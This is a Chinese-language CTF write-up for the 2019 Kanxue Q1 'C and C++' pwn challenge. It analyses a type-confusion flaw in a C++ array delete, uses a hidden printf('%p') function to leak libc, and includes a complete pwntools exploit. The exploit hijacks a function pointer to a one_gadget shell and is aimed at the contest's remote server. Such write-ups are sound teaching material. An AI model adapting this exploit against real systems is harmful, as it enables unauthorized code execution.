2019看雪CTFQ1 C与C++

 漏洞类型

应该算个类型混淆吧

保护机制

[*] '~/candcpp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

漏洞分析

v1 = (void (***)())ptr[a1];            //heap的mem指针
  if ( v1 )
  {
    v2 = &v1[3 * (_QWORD)*(v1 - 1)];    //v1-1是heap的size，v2=heap+8*3*size_of_heap
    while ( v2 != v1 )
    {
      while ( 1 )
      {
        v2 -= 3;                        //&v2-=0x18
        v3 = **v2;                       //取两层引用
        if ( v3 == nullsub_1 )
          break;
        ((void (__fastcall *)(void (***)()))v3)(v2);//调用v3
        v1 = (void (***)())ptr[a1];
        if ( v2 == v1 )
          goto LABEL_6;
      }
    }
LABEL_6:
    operator delete[](v2 - 1);
  }
  ptr[a1] = 0LL;

 c++的delete功能中，没有检测是不是有c++的new分配的空间。理论上，可以根据size的大小，去分配相应大小的堆以控制对应v2的内容，从而能够控制v3函数指针，达到控制程序流的目的。

比如以下，我将size控制到最小——0x21，这样的话实际上我需要控制heap+3*8*0x21之前的部分内存，以方便在v2-=3的时候，能生成调用流heap+3*8*0x21-3*8->heap+3*8*0x21-3*8-3*8......

#建个0x20的堆
ru('>> ')
sl(1)
sl(0)
#建个比较大的堆
malloc(0x1d3,'A'*(0x1cb-0x10)+p64(name+8)+'B'*7+p64(name))

#对应的堆的调试信息
#heap
0x2239e60 FASTBIN {
  mchunk_prev_size = 0, 
  mchunk_size = 33,    #0x21 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x311
}
0x2239e80 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 785,     #0x311
  fd = 0x0, 
  bk = 0x4141414141414141, 
  fd_nextsize = 0x41414141414141, 
  bk_nextsize = 0x0
}
#####################
pwndbg> x/120gx 0x2239e60
0x2239e60:	0x0000000000000000	0x0000000000000021    #chunk0
0x2239e70:	0x0000000000000000	0x0000000000000000
0x2239e80:	0x0000000000000000	0x0000000000000311    #chunk1
0x2239e90:	0x0000000000000000	0x4141414141414141
0x2239ea0:	0x0041414141414141	0x0000000000000000
0x2239eb0:	0x4141414141414141	0x0041414141414141
0x2239ec0:	0x0000000000000000	0x4141414141414141
0x2239ed0:	0x0041414141414141	0x0000000000000000
0x2239ee0:	0x4141414141414141	0x0041414141414141
...             struct{
...             QWORD* vtable;    //malloc 方式保存为0
...             15字节的data+'\x00'    //16字节
...             }
0x223a130:	0x0000000000000000	0x4141414141414141
0x223a140:	0x0041414141414141	0x0000000000000000
0x223a150:	0x4141414141414141	0x0000000000602330     
                                        #0x2239e70+0x21*3*8-3*8-3*8=0x223a158
0x223a160:	0x0000000000000000	0x4242424242424200
0x223a170:	0x0000000000602328	0x0000000000000000    
                #0x2239e70+0x21*3*8-3*8=0x223a188-3*8 = 0x223a170
0x223a180:	0x0000000000000000	0x0000000000000000
0x223a190:	0x0000000000000000	0x000000000000ee71    #top chunk

由堆的调试的信息看出我们输入的信息是分块保存，每块前8个字节是0，接着15字节保存数据，最后一个字节截断为'\x00'。

__int64 sub_400E10()
{
  signed __int64 v1; // [rsp-8h] [rbp-8h]

  v1 = '\np%';
  return __printf_chk(0LL, (__int64)&v1);    //格式化字符串，printf("%p\n");
}

 通过menu菜单里一个隐蔽的函数，可以泄露puts地址。

利用思路

根据以上分析，我在内存中选择一块可控区域，放入0x400e10函数指针，泄露libc。然后控制堆上的内容，返回main函数利用libc调用one_gadget。

1、在一开始输入name的时候可以输入16字节的内容，这里就输入两个函数，0x400e10和main

2、泄露puts地址返回main后，再次写入name为one_gadget，重新触发调用name的函数指针，getshell

EXP

from PwnContext import *

#try:
#    from IPython import embed as ipy
#except ImportError:
#    print ('IPython not installed.')
   
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
#context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
st      = lambda delim,data         :ctx.sendthen(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
slt     = lambda delim,data         :ctx.sendlinethen(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
leak    = lambda address, count=0   :ctx.leak(address, count)
dbg     = lambda *args, **kwargs    :ctx.debug(*args, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))

#ctx.binary = './candcpp'
#ctx.breakpoints = [0x400a62,0x400dae]#after malloc
ctx.remote_libc = './libc-2.23.so'
ctx.remote = ('154.8.222.144', 9999)
ctx.debug_remote_libc = False# True for debugging remote libc, false for local.
#rs()

rs('remote') # uncomment this for exploiting remote target
libc = ctx.libc # ELF object of the corresponding libc.
# ipy() # if you have ipython, you can use this to check variables.
def malloc(length,string):
	ru(">> ")
	sl(1)
	sl(length)
	sl(string)
def delete(index):
	ru(">> ")
	sl(4)
	sl(index)
#leak libc
puts = 0x400e10
main = 0x4009a0
name = 0x602328
sl(p64(puts)+p64(main))

ru('>> ')
sl(1)
sl(0)
malloc(0x1d3,'A'*(0x1cb-0x10)+p64(name+8)+'B'*7+p64(name))
#dbg()
delete(0)
ru('Please input index of the string\n')
libc_base = int(r(14),16)
success('leak addr: {}'.format(hex(libc_base)))
libc_base -=libc.symbols['puts']
success('leak libc: {}'.format(hex(libc_base)))

#write ones
#dbg()
print one_gadgets('libc-2.23.so')
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

remote
[283158, 283242, 983716, 987463]
'''
one=983716+libc_base
sl(p64(one))
delete(0)
irt()

 这里不得不吐槽依稀CSDN的上传图片的功能，不能直接复制粘贴，还得先保存图片后上传到服务器，才能用。。